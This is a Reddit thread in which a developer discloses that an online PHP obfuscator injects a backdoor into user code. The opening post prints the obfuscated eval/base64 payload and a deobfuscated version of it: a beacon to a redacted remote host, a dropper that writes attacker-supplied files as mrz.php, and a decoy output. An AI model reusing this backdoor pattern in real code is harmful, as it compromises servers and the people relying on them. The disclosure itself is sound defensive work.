r/webdev
•
u/tainvie
•
16h ago
•
2
The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";


941
u/IslayProgrammes 16h ago
There’s almost zero legitimate reason to be obfuscating PHP.
If you’re obfuscating backend code with the intention of it being public and difficult to parse you’re doing something nefarious and deserve to be victim of this attack
128
u/HoratioWobble 16h ago
Obfuscating PHP is like locking a gate with a wotsit. It's a waste of time
30
u/Xiten 16h ago
If it’s injecting malware why are we blacking out the name of the site?
8
u/digitalwankster 15h ago
The order of search results change all the time and by device (mobile vs desktop) so the "second result" is liable to be different by the time someone else stumbles upon this.
29
u/idontknowman139 15h ago
So why did you redact the url of the website?
10
u/Rigamortus2005 16h ago
Why in gods name are you obfuscating PHP if you didn't intend to ship a virus anyway?
7
u/dangoodspeed 14h ago
Wasn't that $6 billion Binance hack partially traced to a hack where one of their devs needed to install Homebrew on a new computer, and a Google ad pointed to a fake homebrew site which gave the dev a fake install command line?
312
u/nakfil 16h ago •
It's worth reporting this to Google -
https://www.google.com/safebrowsing/report_phish/
So they will remove it from the SERPs, hopefully.
49
u/PersianMG 16h ago
You can report sites as malware:
https://www.google.com/safebrowsing/report_phish/
https://www.microsoft.com/en-us/wdsi/support/report-unsafe-site-guest
If enough people report, the Search Engines will delist these sites.
I also did a test and confirm they add backdoors to the code.
They don't even obfuscate the original input code alongside the backdoor so it goes somewhat unnoticed...rookies.
73
u/aTaleForgotten 16h ago
If you need to obfuscate your backend code, you may have other problems
12
u/alltheseflavours 13h ago
Who the fuck is putting their code into random websites and asking it to 'obfuscate' it for you? You all need Jesus. And a CI pipeline.
2
u/Quick_Phone8500 16h ago
How does this even work? It downloads mrz.php then doesn’t run it, and it echos “downloaded mrz.php” if it downloads successfully, this is crappy malware
5
u/DiscipleOfYeshua 16h ago
Coming soon!
google2shell
3
u/exintrovert 14h ago
Using an obfuscator requires a level of trust that I would never grant to a random search result.
I think I would bite the bullet and pay for ioncube.
I believe Yak Pro is reputable.
Never use online web forms to obfuscate for free. Who knows what they are doing.
And avoid Zend, it is EOL.
Thank you for posting this, it is an important reminder that malware injection into obfuscated code is a legit concern.
2
u/_eggseck 16h ago
PHP obfuscation is useless today. Good thing is things like ioncube exist for PHP, use those.
2
u/Mecanik1337 15h ago
Let me tell this you after 20+ years of PHP development. Especially since I worked a LOT in "obfuscation" and licensing, etc. There is absolutely NOTHING you can do to prevent someone from reversing your SCRIPT. PHP is a SCRIPT which gets executed by a PROGRAM, which means it can ALWAYS be "de-obfuscated". This applies even to ioncube and any other "custom" obfuscations. The only thing you gain from this is to make script-kids get a headache when they want to steal code/copy code. Bottom line is, stop trying to "obfuscate" your PHP. Instead SELL it entirely, per project, with proper NDA and contracts. Take my advice or leave it, up to you.
2
u/Ill-Bat-1518 15h ago
Wow i can't lie when i was way younger i used these type of websites before thinking it would help like stop my email getting spammed etc
Never did i think that was a possibility and i used to be super weary of malware
2
u/sgijoe 14h ago
GEEEEEEZ........... HOW IS AN HONEST THREAT ACTOR SUPPOSED TO MAKE A BUCK?
2
u/Confident_Toe4393 10h ago
A screenshot of a search result is the weakest possible evidence for this. Which domain, and did the same one come back second on every check? The eval/gzinflate breakdown is the only part worth trusting here.
2
u/dialsoapbox 10h ago
This is what i wish this sub had more of.
3
u/d2xdy2 back-end 16h ago
Here in 2026 we’re still obfuscating PHP. Jfc.
4
u/JontesReddit 16h ago
Anyone obfuscating code deserves this
3
u/abeuscher 15h ago
Fuckin' full thread whoosh over here. This should be a story about how search is broken, not about the topic at hand. How to run a credit card scam shouldn't have a phishing link up top either. There are good reasons to want to search for this phrase. It doesn't mean anything to want to know HOW to do something. That's how you learn.
This sub and really the internet in general is so fucked. We're supposed to be the fucking experts and can't even understand the context of an obvious problem. Is this sub just full of vibe coding marketing executives and third graders at this point?
There is one specific person responsible for this issue and his name is Prabhakar Raghavan. Look it up. He also has nothing to do with obfuscating PHP.
0
u/rafaelml12 16h ago
Google needs to get their shit together
1
u/fxlr8 16h ago
What is the point of obfuscating php in the first place?
1
u/aTaleForgotten 16h ago
Also, that is amongst the ugliest code i've seen in a while. Hideous.
1
u/T-J_H 15h ago
Why the hell would you need to obfuscate a purely server side language anyways
1
u/bblankuser 13h ago
no point in obfuscation in modern times tbh
1
u/Ragin_Mari 12h ago
It’s becoming more common, it’s called SEO poisoning
https://www.crowdstrike.com/en-us/cybersecurity-101/social-engineering/seo-poisoning/
1
u/hongaar 12h ago
We can finally bury security by obscurity
1
u/semibilingual 12h ago
if i was in the business of malware, my favorite target woukd be code obfuscated, so noone can see what my code is doing.
1
u/n9iels 12h ago
Is this still a thing?! Pretty sure AI can make it readable within a few minutes, complete with variable- and function names that make sense.
1
u/OldAssistance1702 9h ago
so people are pasting their whole source into a random website and the shocking part is the backdoor? the shocking part is that the code came back at all honestly. you're handing your entire app to a stranger's server, half of these sites dont even have a whois worth reading, and then everyone acts betrayed because the free tool that ranks #2 on google turns out to be some guy in a basement wrapping your functions in eval. search ranking is not a security audit, google ranks whatever has links and keywords, it has literally never once checked if the site is run by criminals. and its the same energy as people who install a random chrome extension with 40 reviews that wants permission to read everything on every page and then wonder why their sessions got jacked. if you need to obfuscate php just run a local tool, there are a million of them, its a file on your disk, it doesnt phone home, it doesnt care. but no, we gotta use the online one because its easier, and then a blog post has to explain to grown developers that the second google result is malware, in 2026, like this is news. and the comments will all be "wow good catch" as if the real lesson isnt that you shouldnt be obfuscating php at all, because anyone determined enough just reads the bytecode. whatever, i'm gonna go check what comes back from that tool out of morbid curiosity.
1
u/Subject-Cry7069 8h ago
The decoy echo at the end is the nasty part, the output still prints Hello world so nothing looks off unless you read it.
Cheap habit that would have caught it: before anything a web tool hands back goes near a server, grep it for eval(, gzinflate, base64_decode, assert( and file_put_contents. A one line hello world should come back with none of those. If the obfuscated version has an eval in it, you're done, don't bother deobfuscating to find out what it does.
1
u/ElectronicPurple9013 8h ago
why is your production code going through a random website in the first place
1
u/jayhalk1 7h ago
If I doubt, use the link on Wikipedia.
1
u/yleed 5h ago
huh
1
u/bacondev 5h ago
Never in my life have I ever considered obfuscating PHP code. I can't think of a legitimate reason for production purposes.
1
u/Unfair-Plastic-4290 4h ago
The only reason to obfuscate your code is because you're embarrassed of it.
1
u/Aishou_SK 4h ago
> SECOND Google search result
20 years ago, I'd believe it.
Today, I'd believe it.
Nothing changes.
1
u/unicorns-arent-real 4h ago
If you need an obfuscator, find one on Github, then you'll have the source. Or write your own.
1
u/InsideTour329 2h ago
This is going to sound wild but hear me out, maybe don't use PHP? There's no excuse for it these days you can literally port any php site into blazor or something in an afternoon.
1
u/don_mumrik 2h ago
No reason to obfuscate PHP.
•
u/mrcarrot0 19m ago
How about "don't blindly trust code that was was created/generated by a third party"? Online converters/generators primarily exist to scrape user data anyway, I'm not surprised that they would inject an attack into your given an opportunity.
My new favorite quote btw:
0
u/mllv1 16h ago
For people saying you never need to obfuscate backend code, you’re wrong. We distribute an on prem SaaS to defense contractors, and since it isn’t written in a compiled language, we are required by many customers to obfuscate it. We also provide a checksum.
0
u/Plane-Analysis-6770 13h ago
Sorry never heard of obfuscating what is it
-4
u/vm_linuz 10h ago
0. Why are you using PHP?
-6
u/raptorraptor 11h ago
We're still writing PHP?
-6
u/allpunks 15h ago
Honestly it's the devs fault to be still using PHP in 2026 lol
1
u/Leather-Chart7083 9h ago
I can literally put "penis" and it acts like it obfuscated penis
0
u/[deleted] 16h ago
[deleted] — view deleted comment